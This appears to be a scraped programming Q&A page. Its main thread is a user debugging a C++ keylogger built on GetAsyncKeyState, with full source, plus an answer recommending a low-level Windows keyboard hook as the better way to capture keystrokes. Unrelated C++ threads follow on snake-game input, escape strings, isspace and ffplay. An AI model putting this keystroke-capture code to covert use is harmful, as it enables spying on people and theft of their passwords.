GetAsyncKeyState() don't work with 'OEM' keys - c++

I'm trying to create a keylogger. I decided to use the function GetAsyncKeyState. I programmed all of keys. And when I was testing my keylogger, I realized that keys like ,<.>/?;:'"[{]}\|=+-_ aren't displaying on the console. Why?
This is my code:
#include <iostream>
#include <Windows.h>
#include <string>
#include <cctype>
#include <conio.h>
using namespace std;
string WhichKey(char key)
{
string ToReturn;
switch (key)
{
case VK_BACK:
return "*BACKSPACE*";
case VK_TAB:
return "*TAB*";
case VK_RETURN:
return "*ENTER*";
case VK_SHIFT:
return "*SHIFT*";
case VK_MENU:
return "*ALT*";
case VK_CONTROL:
return "*CTRL*";
case VK_ESCAPE:
return "*ESC*";
case VK_SPACE:
return " ";
case VK_PRIOR:
return "*PAGE_UP*";
case VK_NEXT:
return "*PAGE_DOWN*";
case VK_END:
return "*END*";
case VK_HOME:
return "*HOME*";
case VK_CAPITAL:
return "*CAPS_LOCK*";
case VK_UP:
return "*UP_ARROW*";
case VK_DOWN:
return "*DOWN_ARROW*";
case VK_LEFT:
return "*LEFT_ARROW*";
case VK_RIGHT:
return "*RIGHT_ARROW*";
case VK_EXECUTE:
return "*EXECUTE*";
case VK_SNAPSHOT:
return "*PRINTSCREEN*";
case VK_INSERT:
return "*INSERT*";
case VK_DELETE:
return "*DELETE*";
case VK_LWIN:
case VK_RWIN:
return "*WIN*";
case VK_NUMPAD0:
return "0";
case VK_NUMPAD1:
return "1";
case VK_NUMPAD2:
return "2";
case VK_NUMPAD3:
return "3";
case VK_NUMPAD4:
return "4";
case VK_NUMPAD5:
return "5";
case VK_NUMPAD6:
return "6";
case VK_NUMPAD7:
return "7";
case VK_NUMPAD8:
return "8";
case VK_NUMPAD9:
return "9";
case VK_F1:
return "*F1*";
case VK_F2:
return "*F2*";
case VK_F3:
return "*F3*";
case VK_F4:
return "*F4*";
case VK_F5:
return "*F5*";
case VK_F6:
return "*F6*";
case VK_F7:
return "*F7*";
case VK_F8:
return "*F8*";
case VK_F9:
return "*F9*";
case VK_F10:
return "*F10*";
case VK_F11:
return "*F11*";
case VK_F12:
return "*F12*";
case VK_SCROLL:
return "*SCROLL_LOCK*";
case VK_NUMLOCK:
return "*NUM_LOCK*";
case VK_MULTIPLY:
return "*";
case VK_ADD:
return "+";
case VK_SUBTRACT:
return "-";
case VK_DIVIDE:
return "/";
case VK_DECIMAL:
return ".";
case VK_LBUTTON:
return "*left_click*";
case VK_RBUTTON:
return "*right_click*";
case VK_MBUTTON:
return "*middle_click*";
}
if (isalpha(key))
{
if (!((GetKeyState(VK_CAPITAL) & 0x0001) == 0) ^ (((GetKeyState(VK_SHIFT) & 0x1000) == 0)))
{
key = tolower(key); //off
ToReturn += key;
return ToReturn;
}
else
{
ToReturn += key; //on
return ToReturn;
}
}
else if (isdigit(key))
{
if ((GetKeyState(VK_SHIFT) & 0x1000) == 0)
{
ToReturn += key; //off
return ToReturn;
}
else
{
switch (key)
{
case '1':
{
key = '!';
break;
}
case '2':
{
key = '#';
break;
}
case '3':
{
key = '#';
break;
}
case '4':
{
key = '$';
break;
}
case '5':
{
key = '%';
break;
}
case '6':
{
key = '^';
break;
}
case '7':
{
key = '&';
break;
}
case '8':
{
key = '*';
break;
}
case '9':
{
key = '(';
break;
}
case '0':
{
key = ')';
break;
}
}
ToReturn += key; //on
return ToReturn;
}
}
else
{
switch (key)
{
case VK_OEM_1:
{
if ((GetKeyState(VK_SHIFT) & 0x1000) == 0)
key = ';'; //off
else
key = ':';
break;
}
case VK_OEM_PLUS:
{
if ((GetKeyState(VK_SHIFT) & 0x1000) == 0)
key = '='; //off
else
key = '+';
break;
}
case VK_OEM_COMMA:
{
if ((GetKeyState(VK_SHIFT) & 0x1000) == 0)
key = ','; //off
else
key = '<';
break;
}
case VK_OEM_MINUS:
{
if ((GetKeyState(VK_SHIFT) & 0x1000) == 0)
key = '-'; //off
else
key = '_';
break;
}
case VK_OEM_PERIOD:
{
if ((GetKeyState(VK_SHIFT) & 0x1000) == 0)
key = '.'; //off
else
key = '>';
break;
}
case VK_OEM_2:
{
if ((GetKeyState(VK_SHIFT) & 0x1000) == 0)
key = '/'; //off
else
key = '?';
break;
}
case VK_OEM_3:
{
if ((GetKeyState(VK_SHIFT) & 0x1000) == 0)
key = '`'; //off
else
key = '~';
break;
}
case VK_OEM_4:
{
if ((GetKeyState(VK_SHIFT) & 0x1000) == 0)
key = '['; //off
else
key = '{';
break;
}
case VK_OEM_5:
{
if ((GetKeyState(VK_SHIFT) & 0x1000) == 0)
key = '\\'; //off
else
key = '|';
break;
}
case VK_OEM_6:
{
if ((GetKeyState(VK_SHIFT) & 0x1000) == 0)
key = ']'; //off
else
key = '}';
break;
}
case VK_OEM_7:
{
if ((GetKeyState(VK_SHIFT) & 0x1000) == 0)
key = '\''; //off
else
key = '\"';
break;
}
}
ToReturn += key;
return ToReturn;
}
ToReturn += key;
return ToReturn;
}
int main()
{
char key;
while(1)
{
for(key = 0; key <= 256; key++)
{
if (GetAsyncKeyState(key) & 0x0001)
{
cout << WhichKey(key);
}
}
}
return 0;
}
Thanks in advance and sorry for my English.

try this, change the for loop variable key to int instead of char.
int key;
while (1) {
for (key=8; key<= 255; key++) {
if (i < 160 || i >165) {
if (GetAsyncKeyState(i) == -32767) {
<event>
}
}
}
}
return 0;

First off, this is a very naive approach to writing a keylogger. I actually tried this same thing the same way you are about 10 years ago.
A better approach would be to use Windows Hooks.
LRESULT CALLBACK llKeyboardHook(int nCode, WPARAM wParam, LPARAM lParam)
{
KBDLLHOOKSTRUCT *hookStruct = (KBDLLHOOKSTRUCT*) lParam;
// Parse the lParam value and members of the hookStruct structure
return CallNextHookEx(0, nCode, wParam, lParam);
}
// Somewhere in your program, call the following function:
// Initialize the hook
SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC) llKeyboardHook, 0, 0);
The main idea here is to let Windows determine the resulting "output" character for you, instead of having to create a switch-case for each possibility like you have done.
I know this doesn't directly answer your question, but the approach you're taking is really the worst way to do it.

Related

ifstream read method is synchronous?

I'm making a Snake game using ANSI escape codes in C++. I want to get the keyboard input and, for example, when I press W then the snake will move up and the direction will be set to U so it will keep moving up until I press another direction key:
void Map::getSnakeMovement(char *path) { ifstream keyboardFile(path, ios::in | ios::binary);
keyboardInput kbInput;
if (!keyboardFile) {
cerr << "Cannot read the keyboard input" << endl;
return;
}
while(1) {
keyboardFile.read((char*)&kbInput, sizeof(keyboardInput));
switch(this->currentDirection) {
case 'L':
this->snake[0].move(this->snake[0].getXPosition() - 1, this->snake[0].getYPosition());
this->isPoint(this->snake[0].getXPosition(), this->snake[0].getYPosition());
this->scoreboard.display();
break;
case 'U':
this->snake[0].move(this->snake[0].getXPosition(), this->snake[0].getYPosition() - 1);
this->isPoint(this->snake[0].getXPosition(), this->snake[0].getYPosition());
this->scoreboard.display();
break;
case 'R':
this->snake[0].move(this->snake[0].getXPosition() + 1, this->snake[0].getYPosition());
this->isPoint(this->snake[0].getXPosition(), this->snake[0].getYPosition());
this->scoreboard.display();
break;
case 'D':
this->snake[0].move(this->snake[0].getXPosition(), this->snake[0].getYPosition() + 1);
this->isPoint(this->snake[0].getXPosition(), this->snake[0].getYPosition());
this->scoreboard.display();
break;
}
if (kbInput.type == 1 && kbInput.value == 1 && kbInput.code != 0) {
switch(kbInput.code) {
case W_KEY:
this->currentDirection = 'U';
break;
case A_KEY:
this->currentDirection = 'L';
break;
case S_KEY:
this->currentDirection = 'D';
break;
case D_KEY:
this->currentDirection = 'R';
break;
}
}
Utils::moveCursor(this->height + 20, 1);
}
keyboardFile.close();
}
But the result is not as expected. Is the read method blocking the flow?

How do I turn literal escapes into "real" escapes, so that they are printed "correctly"?

The following C++ code should be pretty straightforward to understand.
In the comment of the first 2 "cout"s there's the actual print.
In the 3rd "cout" comment there is what I would like it to print.
What the "restore_escapes" function should look like ? Isn't there anything ready to use ?
std::string a("abc\"\tdef\n");
std::string b(R"(abc\"\tdef\n)");
std::cout << a; //abc" def
std::cout << b; //abc\"\tdef\n
std::cout << restore_escapes(b); //abc" def
See the glib g_strcompress function, reproduced here:
gchar *
g_strcompress (const gchar *source)
{
const gchar *p = source, *octal;
gchar *dest;
gchar *q;
g_return_val_if_fail (source != NULL, NULL);
dest = g_malloc (strlen (source) + 1);
q = dest;
while (*p)
{
if (*p == '\\')
{
p++;
switch (*p)
{
case '\0':
g_warning ("g_strcompress: trailing \\");
goto out;
case '0': case '1': case '2': case '3': case '4':
case '5': case '6': case '7':
*q = 0;
octal = p;
while ((p < octal + 3) && (*p >= '0') && (*p <= '7'))
{
*q = (*q * 8) + (*p - '0');
p++;
}
q++;
p--;
break;
case 'b':
*q++ = '\b';
break;
case 'f':
*q++ = '\f';
break;
case 'n':
*q++ = '\n';
break;
case 'r':
*q++ = '\r';
break;
case 't':
*q++ = '\t';
break;
case 'v':
*q++ = '\v';
break;
default: /* Also handles \" and \\ */
*q++ = *p;
break;
}
}
else
*q++ = *p;
p++;
}
out:
*q = 0;
return dest;
}

Why doesn't this program detect that there is a whitespace?

So I was working on this program again, and I encountered another problem. I am testing if a character is a space. However, instead of detecting that the there is a space, it stops the loop and doesn't do anything more. Here is my code:
string reet(char reet) {
if (isspace(reet) == true) {
return "IA";
}
else {
switch (reet) {
case 'a':
return "Zg";
break;
case'b':
return "dA";
break;
case 'c':
return "dG";
break;
case 'd':
return "aw";
break;
case 'e':
return "bw";
break;
case 'f':
return "dQ";
break;
case 'g':
return "cg";
break;
case 'h':
return "ZA";
break;
case 'i':
return "cQ";
break;
case 'j':
return "YQ";
break;
case 'k':
return "eA";
break;
case 'l':
return "dw";
break;
case 'm':
return "cw";
break;
case 'n':
return "ag";
break;
case 'o':
return "eQ";
break;
case 'p':
return "bA";
break;
case 'q':
return "aA";
break;
case 'r':
return "ZQ";
break;
case 's':
return "cA";
break;
case 't':
return "Yw";
break;
case 'u':
return "eg";
break;
case 'v':
return "bg";
break;
case 'w':
return "aq";
break;
case 'x':
return "bQ";
break;
case 'y':
return "Yg";
break;
case 'z':
return "Zw";
break;
default:
return " ";
break;
}
}
}
string enc(string input) {
string sketchyBois = input;
string bigBoi = "";
int yeetL = sketchyBois.length() + 1;
for (int x = 0; x < yeetL;) {
bigBoi = bigBoi + reet(sketchyBois[x]);
x++;
}
return bigBoi;
}
I was just wondering if anyone can tell me why it is doing this? Thank you!
You need to change
if (isspace(reet) == true)
to
if (isspace(reet))
or
if (isspace(reet) != 0)
since isspace only returns a non-zero int value for a white space character, not a bool.
(Note that as a matter of coding style, it's generally preferred to omit comparison with true or false in boolean tests and just use if (expr) or if (!expr).)

How to enable audio of two ffplay windows simultaneously?(How can I hear audio of the video files at the same time?)

When more than one ffplay-window is running only the audio of one of them is enable , But I need to hear all of them at the same time.
For example I run two command-lines separately like this:
//command line 1
ffplay -i video1.avi
//command line 2
ffplay -i video2.avi
How can I hear audio of the video files at the same time?
I did not find anything about that in the ffplay documents, So I want to change the ffplay source code.
this is event_loop function (in ffplay.c):
static void event_loop(VideoState *cur_stream)
{
SDL_Event event;
double incr, pos, frac;
for (;;) {
double x;
refresh_loop_wait_event(cur_stream, &event);
switch (event.type) {
case SDL_KEYDOWN:
if (exit_on_keydown) {
do_exit(cur_stream);
break;
}
switch (event.key.keysym.sym) {
case SDLK_ESCAPE:
case SDLK_q:
do_exit(cur_stream);
break;
case SDLK_f:
toggle_full_screen(cur_stream);
cur_stream->force_refresh = 1;
break;
case SDLK_p:
case SDLK_SPACE:
toggle_pause(cur_stream);
break;
case SDLK_m:
toggle_mute(cur_stream);
break;
case SDLK_KP_MULTIPLY:
case SDLK_0:
update_volume(cur_stream, 1, SDL_VOLUME_STEP);
break;
case SDLK_KP_DIVIDE:
case SDLK_9:
update_volume(cur_stream, -1, SDL_VOLUME_STEP);
break;
case SDLK_s: // S: Step to next frame
step_to_next_frame(cur_stream);
break;
case SDLK_a:
stream_cycle_channel(cur_stream, AVMEDIA_TYPE_AUDIO);
break;
case SDLK_v:
stream_cycle_channel(cur_stream, AVMEDIA_TYPE_VIDEO);
break;
case SDLK_c:
stream_cycle_channel(cur_stream, AVMEDIA_TYPE_VIDEO);
stream_cycle_channel(cur_stream, AVMEDIA_TYPE_AUDIO);
stream_cycle_channel(cur_stream, AVMEDIA_TYPE_SUBTITLE);
break;
case SDLK_t:
stream_cycle_channel(cur_stream, AVMEDIA_TYPE_SUBTITLE);
break;
case SDLK_w:
#if CONFIG_AVFILTER
if (cur_stream->show_mode == SHOW_MODE_VIDEO && cur_stream->vfilter_idx < nb_vfilters - 1) {
if (++cur_stream->vfilter_idx >= nb_vfilters)
cur_stream->vfilter_idx = 0;
} else {
cur_stream->vfilter_idx = 0;
toggle_audio_display(cur_stream);
}
#else
toggle_audio_display(cur_stream);
#endif
break;
case SDLK_PAGEUP:
if (cur_stream->ic->nb_chapters <= 1) {
incr = 600.0;
goto do_seek;
}
seek_chapter(cur_stream, 1);
break;
case SDLK_PAGEDOWN:
if (cur_stream->ic->nb_chapters <= 1) {
incr = -600.0;
goto do_seek;
}
seek_chapter(cur_stream, -1);
break;
case SDLK_LEFT:
incr = -10.0;
goto do_seek;
case SDLK_RIGHT:
incr = 10.0;
goto do_seek;
case SDLK_UP:
incr = 60.0;
goto do_seek;
case SDLK_DOWN:
incr = -60.0;
do_seek:
if (seek_by_bytes) {
pos = -1;
if (pos < 0 && cur_stream->video_stream >= 0)
pos = frame_queue_last_pos(&cur_stream->pictq);
if (pos < 0 && cur_stream->audio_stream >= 0)
pos = frame_queue_last_pos(&cur_stream->sampq);
if (pos < 0)
pos = avio_tell(cur_stream->ic->pb);
if (cur_stream->ic->bit_rate)
incr *= cur_stream->ic->bit_rate / 8.0;
else
incr *= 180000.0;
pos += incr;
stream_seek(cur_stream, pos, incr, 1);
} else {
pos = get_master_clock(cur_stream);
if (isnan(pos))
pos = (double)cur_stream->seek_pos / AV_TIME_BASE;
pos += incr;
if (cur_stream->ic->start_time != AV_NOPTS_VALUE && pos < cur_stream->ic->start_time / (double)AV_TIME_BASE)
pos = cur_stream->ic->start_time / (double)AV_TIME_BASE;
stream_seek(cur_stream, (int64_t)(pos * AV_TIME_BASE), (int64_t)(incr * AV_TIME_BASE), 0);
}
break;
default:
break;
}
break;
case SDL_VIDEOEXPOSE:
cur_stream->force_refresh = 1;
break;
case SDL_MOUSEBUTTONDOWN:
if (exit_on_mousedown) {
do_exit(cur_stream);
break;
}
case SDL_MOUSEMOTION:
if (cursor_hidden) {
SDL_ShowCursor(1);
cursor_hidden = 0;
}
cursor_last_shown = av_gettime_relative();
if (event.type == SDL_MOUSEBUTTONDOWN) {
x = event.button.x;
} else {
if (event.motion.state != SDL_PRESSED)
break;
x = event.motion.x;
}
if (seek_by_bytes || cur_stream->ic->duration <= 0) {
uint64_t size = avio_size(cur_stream->ic->pb);
stream_seek(cur_stream, size*x/cur_stream->width, 0, 1);
} else {
int64_t ts;
int ns, hh, mm, ss;
int tns, thh, tmm, tss;
tns = cur_stream->ic->duration / 1000000LL;
thh = tns / 3600;
tmm = (tns % 3600) / 60;
tss = (tns % 60);
frac = x / cur_stream->width;
ns = frac * tns;
hh = ns / 3600;
mm = (ns % 3600) / 60;
ss = (ns % 60);
av_log(NULL, AV_LOG_INFO,
"Seek to %2.0f%% (%2d:%02d:%02d) of total duration (%2d:%02d:%02d) \n", frac*100,
hh, mm, ss, thh, tmm, tss);
ts = frac * cur_stream->ic->duration;
if (cur_stream->ic->start_time != AV_NOPTS_VALUE)
ts += cur_stream->ic->start_time;
stream_seek(cur_stream, ts, 0, 0);
}
break;
case SDL_VIDEORESIZE:
screen = SDL_SetVideoMode(FFMIN(16383, event.resize.w), event.resize.h, 0,
SDL_HWSURFACE|(is_full_screen?SDL_FULLSCREEN:SDL_RESIZABLE)|SDL_ASYNCBLIT|SDL_HWACCEL);
if (!screen) {
av_log(NULL, AV_LOG_FATAL, "Failed to set video mode\n");
do_exit(cur_stream);
}
screen_width = cur_stream->width = screen->w;
screen_height = cur_stream->height = screen->h;
cur_stream->force_refresh = 1;
break;
case SDL_QUIT:
case FF_QUIT_EVENT:
do_exit(cur_stream);
break;
case FF_ALLOC_EVENT:
alloc_picture(event.user.data1);
break;
default:
break;
}
}
}
But I can not find the command that cause disable audio when change active window or lost focus in event_loop function.
You can add multiple input files for ffplay and then "map" different streams together, but if you have alsa mixer as default audio device the system should mix the audio automatically for you. Modifying ffplay is not a trivial task
this is how you select output device
https://ffmpeg.org/ffmpeg-devices.html#Examples-7
this is how you "concatinate" mutiple inputs:
https://trac.ffmpeg.org/wiki/Concatenate

How to Capture Key combination ALT+CTRL+INSERT using preTranslate message in C++

I want to capture key combinations like ALT+CTRL+INSERT using preTranslateMessage() in C++ as shown in below code. I could not get what I am expecting. I tried doing logical code changes. It doesnt seems to be the best solution.Also,using Keyboard Accelerators may solve my problem.But I could not exactly figure out how to do process.
Please anyone suggest me some possible solution..
BOOL BMWView::PreTranslateMessage(MSG* pMsg)
{
//static int k_ctrlPressed,k_altPressed,k_insertPressed = 0;
static int keylog_var = 0;
if (pMsg->message == WM_KEYUP )
{
switch (pMsg->wParam)
{
case VK_CONTROL: if(keylog_var==0) keylog_var = 1; else keylog_var = 0;
break;
case VK_MENU: if(keylog_var==1) keylog_var = 2; else keylog_var = 0;
break;
case VK_INSERT: if(keylog_var==2) keylog_var = 3; else keylog_var = 0;
break;
default: keylog_var = 0;
break;
}
//Switch case is replaced with below if statement
if(keylog_var == 3)
{
keylog_var = 0;
// Set mode
CWnd *pWnd = (CWnd *)this;
pWnd->PostMessage(ID_ENTRY, 0L, 0L);
}
}
return BView::PreTranslateMessage(pMsg);
Simple. Capture a ALT+CTRL+INSERT with GetKeyState and test pMsg for a VK_INSERT.
BOOL CTestView::PreTranslateMessage(MSG* pMsg)
{
if(pMsg->message==WM_KEYDOWN)
{
BOOL bCtrl=::GetKeyState(VK_CONTROL)&0x8000;
BOOL bShift=::GetKeyState(VK_SHIFT)&0x8000;
BOOL bAlt=::GetKeyState(VK_MENU)&0x8000;
switch(pMsg->wParam)
{
case VK_INSERT :
if( bCtrl && bAlt )
{
MessageBox(" Ctrl+Alt+INSERT ", " ",MB_OK);
}
break;
}
}
return CView::PreTranslateMessage(pMsg);
}